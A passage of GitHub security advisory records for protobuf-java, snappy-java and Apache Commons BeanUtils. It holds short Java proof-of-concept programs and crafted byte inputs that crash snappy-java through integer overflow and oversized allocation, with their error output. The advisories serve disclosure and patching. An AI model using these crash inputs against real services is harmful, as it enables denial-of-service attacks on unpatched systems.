  "details": "### Summary\nWhen parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team \u003cecosystem@trailofbits.com\u003e\n\nAffected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n### Severity\n[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)\nThis is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness.\n\n### Remediation and Mitigation\nWe have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:\n* protobuf-java (3.25.5, 4.27.5, 4.28.2)\n* protobuf-javalite (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)\n* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)",
  "id": "GHSA-735f-pc8j-v9w8",
  "modified": "2025-09-10T20:53:03Z",
  "published": "2024-09-19T16:06:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241213-0010"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250418-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "protobuf-java has potential Denial of Service issue"
}

GHSA-FJPJ-2G6W-X25R

Vulnerability from github – Published: 2023-06-15 16:28 – Updated: 2023-06-27 21:57

Summary

snappy-java's Integer Overflow vulnerability in compress leads to DoS

Details

Summary

Due to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error.

Impact

Denial of Service

Description

The function compress(char[] input) in the file Snappy.java receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the rawCompress function.

public static byte[] compress(char[] input)
            throws IOException
    {
        return rawCompress(input, input.length * 2); // char uses 2 bytes
    }

Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.

    public static byte[] rawCompress(Object data, int byteSize)
            throws IOException
    {
        byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)];
        int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0);
        byte[] result = new byte[compressedByteSize];
        System.arraycopy(buf, 0, result, 0, compressedByteSize);
        return result;
    }

Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a “java.lang.NegativeArraySizeException” exception will be raised while trying to allocate the array “buf”. On the other side, if the result is positive, the “buf” array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error. The same issue exists also when using the “compress” functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.Snappy;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        char[] uncompressed = new char[0x40000000];
        byte[] compressed = Snappy.compress(uncompressed);
    }
}

The program will crash, creating crashdumps and showing the following error (or similar):

#
# A fatal error has been detected by the Java Runtime Environment:
#
#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508
#
.......

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.Snappy;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        char[] uncompressed = new char[0x3fffffff];
        byte[] compressed = Snappy.compress(uncompressed);
    }
}

The program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java:

Exception in thread "main" java.lang.NegativeArraySizeException: -1789569677
    at org.xerial.snappy.Snappy.rawCompress(Snappy.java:425)
    at org.xerial.snappy.Snappy.compress(Snappy.java:172)
    at org.example.Main.main(Main.java:10)

Severity ?

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.10.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.xerial.snappy:snappy-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-15T16:28:08Z",
    "nvd_published_at": "2023-06-15T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nDue to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error.\n## Impact\nDenial of Service\n## Description\nThe function [compress(char[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L169) in the file [Snappy.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java) receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the [rawCompress](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L422) function.\n\n```java\npublic static byte[] compress(char[] input)\n            throws IOException\n    {\n        return rawCompress(input, input.length * 2); // char uses 2 bytes\n    }\n\n```\n\nSince the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array.\n\n```java\n    public static byte[] rawCompress(Object data, int byteSize)\n            throws IOException\n    {\n        byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)];\n        int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0);\n        byte[] result = new byte[compressedByteSize];\n        System.arraycopy(buf, 0, result, 0, compressedByteSize);\n        return result;\n    }\n\n```\n\nSince the maxCompressedLength function treats the length as an unsigned integer, it doesn\u2019t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a \u201cjava.lang.NegativeArraySizeException\u201d exception will be raised while trying to allocate the array \u201cbuf\u201d. On the other side, if the result is positive, the \u201cbuf\u201d array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error.\nThe same issue exists also when using the \u201ccompress\u201d functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won\u2019t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place.\n\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.Snappy;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        char[] uncompressed = new char[0x40000000];\n        byte[] compressed = Snappy.compress(uncompressed);\n    }\n}\n\n```\n\nThe program will crash, creating crashdumps and showing the following error (or similar):\n\n```\n#\n# A fatal error has been detected by the Java Runtime Environment:\n#\n#  EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508\n#\n.......\n```\n\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.Snappy;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        char[] uncompressed = new char[0x3fffffff];\n        byte[] compressed = Snappy.compress(uncompressed);\n    }\n}\n```\n\nThe program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java:\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -1789569677\n\tat org.xerial.snappy.Snappy.rawCompress(Snappy.java:425)\n\tat org.xerial.snappy.Snappy.compress(Snappy.java:172)\n\tat org.example.Main.main(Main.java:10)\n\n```",
  "id": "GHSA-fjpj-2g6w-x25r",
  "modified": "2023-06-27T21:57:13Z",
  "published": "2023-06-15T16:28:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-fjpj-2g6w-x25r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34454"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/commit/d0042551e4a3509a725038eb9b2ad1f683674d94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xerial/snappy-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L422"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "snappy-java\u0027s Integer Overflow vulnerability in compress leads to DoS"
}

GHSA-PQR6-CMR2-H8HF

Vulnerability from github – Published: 2023-06-15 16:13 – Updated: 2023-06-27 21:57

Summary

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Details

Summary

Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.

Impact

Denial of Service

Description

The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
    at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
    at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
    at org.example.Main.main(Main.java:11)

Severity ?

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.10.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.xerial.snappy:snappy-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-15T16:13:20Z",
    "nvd_published_at": "2023-06-15T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nDue to unchecked multiplications, an integer overflow may occur, causing a fatal error.\n## Impact\nDenial of Service\n## Description\nThe function [shuffle(int[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107) in the file [BitShuffle.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java) receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.\n\n```java\npublic static byte[] shuffle(int[] input) throws IOException {\n        byte[] output = new byte[input.length * 4];\n        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);\n        assert(numProcessed == input.length * 4);\n        return output;\n    }\n\n```\n\nSince the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a \u201cjava.lang.NegativeArraySizeException\u201d exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as \u201cjava.lang.ArrayIndexOutOfBoundsException\u201d.\nThe same issue exists also when using the \u201cshuffle\u201d functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        int[] original = new int[0x40000000];\n        byte[] shuffled = BitShuffle.shuffle(original);\n        System.out.println(shuffled[0]);\n    }\n}\n\n```\nThe program will crash, showing the following error (or similar):\n\n```\nException in thread \"main\" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0\n\tat org.example.Main.main(Main.java:12)\n\nProcess finished with exit code 1\n\n```\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.BitShuffle;\n\nimport java.io.*;\n\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        int[] original = new int[0x20000000];\n        byte[] shuffled = BitShuffle.shuffle(original);\n    }\n}\n\n```\nThe program will crash with the following error (or similar):\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -2147483648\n\tat org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)\n\tat org.example.Main.main(Main.java:11)\n```",
  "id": "GHSA-pqr6-cmr2-h8hf",
  "modified": "2023-06-27T21:57:08Z",
  "published": "2023-06-15T16:13:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-pqr6-cmr2-h8hf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34453"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/commit/820e2e074c58748b41dbd547f4edba9e108ad905"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xerial/snappy-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/BitShuffle.java#L107"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/BitShuffle.java"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "snappy-java\u0027s Integer Overflow vulnerability in shuffle leads to DoS"
}

GHSA-QCWQ-55HX-V3VH

Vulnerability from github – Published: 2023-06-15 17:15 – Updated: 2023-08-18 15:45

Summary

snappy-java's unchecked chunk length leads to DoS

Details

Summary

Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.

Impact

Denial of Service

Description

The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.

        int readBytes = readNext(header, 0, 4);
        if (readBytes < 4) {
            return false;
        }

        int chunkSize = SnappyOutputStream.readInt(header, 0);
        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
            .........
        }

        // extend the compressed data buffer size
        if (compressed == null || chunkSize > compressed.length) {
            compressed = new byte[chunkSize];
        }

In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        try {
            in.read(out);
        }
        catch (Exception ignored) {

        }
    }
}

The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:

Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.SnappyInputStream;

import java.io.*;

public class Main {

    public static void main(String[] args) throws IOException {
        byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
        byte[] out = new byte[50];
        in.read(out);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -1
    at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)
    at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)
    at java.base/java.io.InputStream.read(InputStream.java:217)
    at org.example.Main.main(Main.java:12)

It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.10.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.xerial.snappy:snappy-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-15T17:15:06Z",
    "nvd_published_at": "2023-06-15T18:15:09Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nDue to use of an unchecked chunk length, an unrecoverable fatal error can occur.\n## Impact\nDenial of Service\n## Description\nThe code in the function [hasNextChunk](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388) in the file [SnappyInputStream.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java) checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn\u2019t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.\n\n\n\n```java\n        int readBytes = readNext(header, 0, 4);\n        if (readBytes \u003c 4) {\n            return false;\n        }\n\n        int chunkSize = SnappyOutputStream.readInt(header, 0);\n        if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {\n            .........\n        }\n\n        // extend the compressed data buffer size\n        if (compressed == null || chunkSize \u003e compressed.length) {\n            compressed = new byte[chunkSize];\n        }\n\n```\n\nIn the case that the \u201ccompressed\u201d variable is null, a byte array is allocated with the size given by the input data. Since the code doesn\u2019t test the legality of the \u201cchunkSize\u201d variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a \u201cjava.lang.NegativeArraySizeException\u201d exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal \u201cjava.lang.OutOfMemoryError\u201d error.\n\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        try {\n            in.read(out);\n        }\n        catch (Exception ignored) {\n\n        }\n    }\n}\n```\n\nThe program will crash with the following error (or similar), even though there is a catch clause, since \u201cOutOfMemoryError\u201d does not get caught by catching the \u201cException\u201d class:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Requested array size exceeds VM limit\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n    public static void main(String[] args) throws IOException {\n        byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n        SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n        byte[] out = new byte[50];\n        in.read(out);\n    }\n}\n```\n\nThe program will crash with the following error (or similar):\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -1\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nIt is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project \u201cflume\u201d: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the \u201cNegativeArraySizeException\u201d exception won\u2019t harm their users, but the \u201cOutOfMemoryError\u201d error can.",
  "id": "GHSA-qcwq-55hx-v3vh",
  "modified": "2023-08-18T15:45:35Z",
  "published": "2023-06-15T17:15:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34455"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xerial/snappy-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230818-0009"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "snappy-java\u0027s unchecked chunk length leads to DoS"
}

GHSA-WXR5-93PH-8WR9

Vulnerability from github – Published: 2025-05-28 15:34 – Updated: 2025-11-03 21:33

Summary

Apache Commons Improper Access Control vulnerability

Details

Improper Access Control vulnerability in Apache Commons.

A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default.

Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests.

This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils

1.x are recommended to upgrade to version 1.11.0, which fixes the issue.

Users of the artifact org.apache.commons:commons-beanutils2

2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.

Severity ?

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.10.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "commons-beanutils:commons-beanutils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.commons:commons-beanutils2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-M1"
            },
            {
              "fixed": "2.0.0-M2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-48734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T17:37:18Z",
    "nvd_published_at": "2025-05-28T14:15:34Z",
    "severity": "HIGH"
  },
